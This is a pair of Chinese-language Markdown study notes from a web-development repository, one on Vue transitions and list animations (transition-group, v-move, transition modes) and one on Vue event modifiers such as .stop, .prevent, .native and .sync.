enter(el, done) {
// 这句话,没有实际的作用,但是,如果不写,出不来动画效果;
el.offsetWidth;
el.style.transform = "translate(100px, 400px)";
el.style.transition = 'transform 1s';
// 不使用的话,小圆点会停留一段时间才消失,不能立即调用 afterEnter 函数
done();
},
afterEnter(el) {
this.flag = !this.flag;
}
}
});
</script>
</body>
</html>
```
> 1、enter 中的 `el.offsetWidth;` 无实际作用,可以认为 el.offset系列语句会强制动画刷新。
>
> 2、`done(); ` 必须使用,相当于立即调用 afterEnter 函数。
>
> 3、既然是半程动画,那么意味着点击按钮的时候,每次小球都是从起始位置出发,而不会从终点位置回到其实位置的过程。

### 4、列表动画
列表增加,删除项的时候,显示动画效果。
```html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
<script src="./lib/vue-2.4.0.js"></script>
<style>
li {
width: 100%;
border: 1px dashed #aaa;
margin: 10px 0;
font: 700 12px/36px 'Microsoft YaHei';
padding-left: 10px;
}
li:hover {
border: 1px solid rgb(226, 22, 124);
transition: border .5s;
}
/* 只对transition-group包裹的起作用*/
.v-enter,
.v-leave-to {
opacity: 0;
transform: translateY(-10px);
}
.v-enter-active,
.v-leave-active {
transition: transform 0.5s ease-out;
}
/*列表的过渡更加平缓柔和*/
.v-move {
transition: all 0.5s;
}
/*列表的过渡更加平缓柔和*/
.v-leave-active {
position: absolute;
}
</style>
</head>
<body>
<div id="box">
<div>
<label for="">
ID:
<input type="text" v-model="id">
</label>
<label for="">
name:
<input type="text" v-model="name">
</label>
<input type="button" value="添加" @click="add">
</div>
<div>
<ul>
<!-- 1、使用transition-group包裹v-for渲染的li列表 -->
<transition-group appear>
<li v-for="(item, index) in list" :key="item.id" @click="del(index)">
{{item.id}} --- {{item.name}}
</li>
</transition-group>
</ul>
</div>
</div>
<script>
var vm = new Vue({
el: "#box",
data: {
id: '',
name: '',
list: [{
id: 1,
name: '漩涡鸣人'
},
{
id: 2,
name: '宇智波佐助'
},
{
id: 3,
name: '旗木卡卡西'
},
{
id: 4,
name: '自来也'
},
]
},
methods: {
add() {
this.list.push({
id: this.id,
name: this.name
});
},
del(id) {
this.list.splice(id, 1);
}
}
});
</script>
</body>
</html>
```
> 注意:
>
> 1、在实现列表过渡的时候,如果需要过渡的元素,是通过 `v-for` 循环渲染出来的,不能使用 transition 包裹,需要使用 `transition-group`.
>
> 2、如果要为 `v-for` 循环创建的元素设置动画,必须为每一个 元素 设置 `:key` 属性
>
> 3、过渡的类名:v-enter 等,这些类只对 `transition` 或者 `transition-group` 包裹起来的元素起作用。
>
> 4、`<transition-group>` 组件还有一个特殊之处。不仅可以进入和离开动画,**还可以改变定位**。要使用这个新功能只需了解新增的 `v-move` 特性,**它会在元素的改变定位的过程中应用**。实现删除动画的时候,后一个元素补到删除元素的位置也能动画,`v-move` 和 `v-leave-active` 结合使用,能够让列表的过渡更加平缓柔和:
>
> ```
> .v-move {
> transition: all 0.5s;
> }
>
> .v-leave-active {
> position: absolute;
> }
> ```
>
> 5、给 `transition` 或者 `transition-group` 添加属性:`appear` 可以实现页面开始加载的时候,实现动画效果。

我们发现一个问题就是,`transition-group` 会被默认当做 `span` 标签,这不是我们想要的样子鸭。

通过 为 transition-group 元素,设置 `tag` 属性,指定 `transition-group` 渲染为指定的元素,如果不指定 tag 属性,默认渲染为 span 标签,这就不符合语义了。所以我们可以把外层的 ul 去掉,然后加上` tag="ul" `来把 transition-group 标签作为 ul 标签。

*(added in 20190719)*
### 过渡模式
Vue 提供了 **过渡模式** ,用来决定元素进入和离开的顺序。
> transition 默认是元素的离开和进入同时进行。
>
> 也就是,如果 transition 包围的有两个元素,一个离开一个进入,一个离开过渡的时候另一个会同时开始进入过渡。
- `in-out`:新元素先进行过渡,完成之后当前元素过渡离开。
- `out-in`:当前元素先进行过渡,完成之后新元素过渡进入(对元素过度发生混乱的时候特别有效!)。
```html
<transition name="fade" mode="out-in">
<!-- ... the buttons ... -->
</transition>
// 我在编写公司组件库的时候用到的,不加 out-in 的话,this.$getCode(); 会使得获取的代码混乱。(added in 20200115)
<div class="right-container">
<transition name="fade" mode="out-in">
<keep-alive>
<router-view></router-view>
</keep-alive>
</transition>
</div>
```
> 注意:过渡模式在 `transition-group` 中不可用,因为我们不再相互切换特有的元素。
---
## 补充
- [简单总结Vue进入/离开过渡&动画](https://daotin.github.io/2020/04/22/Vue%E8%BF%9B%E5%85%A5%E7%A6%BB%E5%BC%80%E7%9A%84%E8%BF%87%E6%B8%A1%E4%B8%8E%E5%8A%A8%E7%94%BB.html) `(added in 20200421)`
| Daotin/Web/12-Vue/04-动画.md/0 | {
"file_path": "Daotin/Web/12-Vue/04-动画.md",
"repo_id": "Daotin",
"token_count": 7665
} | 21 |
## 事件修饰符
### 常用的事件修饰符
+ `.stop` : 阻止冒泡
+ `.prevent` : 阻止默认事件(比如点击超链接,阻止跳转到默认网页)
+ `.capture` : 添加事件侦听器时使用事件捕获模式(与冒泡模式相反)
+ `.self` :只当事件在该元素本身(比如不是子元素)触发时触发回调
+ `.once` :事件只触发一次,之后还原标签本身的行为。
示例:
```html
<div id="app">
<!-- 使用 .stop 阻止冒泡 -->
<div class="inner" @click="div1Handler">
<input type="button" value="戳他" @click.stop="btnHandler">
</div>
<!-- 使用 .prevent 阻止默认行为(跳转到百度首页) -->
<a href="http://www.baidu.com" @click.prevent="linkClick">有问题,先去百度</a>
<!-- 使用 .capture 实现捕获触发事件的机制:跟冒泡相反,从外到里-->
<div class="inner" @click.capture="div1Handler">
<input type="button" value="戳他" @click="btnHandler">
</div>
<!-- 使用 .self 实现只有点击当前元素时候,才会触发事件处理函数 -->
<div class="inner" @click.self="div1Handler">
<input type="button" value="戳他" @click="btnHandler">
</div>
<!-- 使用 .once 只触发一次事件处理函数(如下案例只触发一次点击事件,之后还原标签本身的行为) -->
<a href="http://www.baidu.com" @click.prevent.once="linkClick">有问题,先去百度</a>
</div>
```
`.stop` 和 `.self` 的区别:
```html
<!-- stop 会阻止冒泡行为 -->
<div class="outer" @click="div2Handler">
<div class="inner" @click="div1Handler">
<input type="button" value="戳他" @click.stop="btnHandler">
</div>
</div>
<!-- .self 只会阻止自己身上冒泡行为的触发,并不会真正阻止冒泡的行为 -->
<div class="outer" @click="div2Handler">
<div class="inner" @click.self="div1Handler">
<input type="button" value="戳他" @click="btnHandler">
</div>
</div>
```
### 其他事件修饰符
### `.native`
将原生事件绑定到组件,因为在组件上绑定的事件只会触发组件自定义的事件。
举个🌰:
定义一个`Button.vue`组件:
```vue
<template>
<button type="button" @click="clickHandler"><slot /></button>
</template>
<script>
export default {
name: 'button',
methods: {
clickHandler () {
this.$emit('vclick') // 触发 `vclick` 事件
}
}
}
</script>
```
然后在父组件中调用这个组件:
```vue
<vButton @click="clickHandler" @vclick="vClickHandler">按钮</vButton>
<script>
import vButton from '@/components/Button'
export default {
components: { vButton },
methods: {
clickHandler () {
alert('onclick') // 此处不会执行 因为组件中未定义 `click` 事件
},
vClickHandler () {
alert('onvclick') // 触发 `vclick` 自定义事件
}
}
}
</script>
```
从上面可以看到,我们点击这个按钮,只会触发组件的自定义事件 `vclick`,但是组件的原生事件 `click`不会触发。
但是如果在调用组件的时候,在原生事件上加上`.native`那么两个点击事假都会执行。
```html
<vButton @click.native="clickHandler" @vclick="vClickHandler">按钮</vButton>
```
当然,如果在组件中点击事件抛出的就是`click`事件,那么原生事件名和自定义事件名重合了,也会触发。
```js
this.$emit('click') // 触发 `click` 事件
```
### `.sync`
> 2.3.0+ 新增
通常父组件通过props传递给子组件的属性,子组件是不允许修改的,否则会有警告。
如果做到子组件可以修改父组件传递给子组件的属性呢?
vue 提供 `update:my-prop_name` 的模式触发事件。
举个🌰:
假如父组件传递给子组件一个属性:visible,来控制子组件内容的是否显示。
而子组件中也有一个按钮来控制这部分内容的是否显示。
由于父子组件同时控制显示与否,那么子组件修改了显示与否后,需要将`visible` 修改为对应的状态,但是只在子组件中修改是没用的,需要通知父组件更新visible,那么子组件如何通知?
如下,子组件通过
```js
this.$emit('update:visible', false); // false 为 '显示与否状态'
```
然后父组件需要监听这个事件进行更新 visible:
```html
<drag :visible='show' @update:visible="val => show = val" />
```
于是为了方便,vue 提供了一种缩写形式, 即 `.sync` 修饰符。
```html
<drag :visible.sync='show' />
```
通过这种写法,当子组件执行改变 visible 状态后也会改变父组件 visible 的状态。
| Daotin/Web/12-Vue/事件修饰符.md/0 | {
"file_path": "Daotin/Web/12-Vue/事件修饰符.md",
"repo_id": "Daotin",
"token_count": 2945
} | 22 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.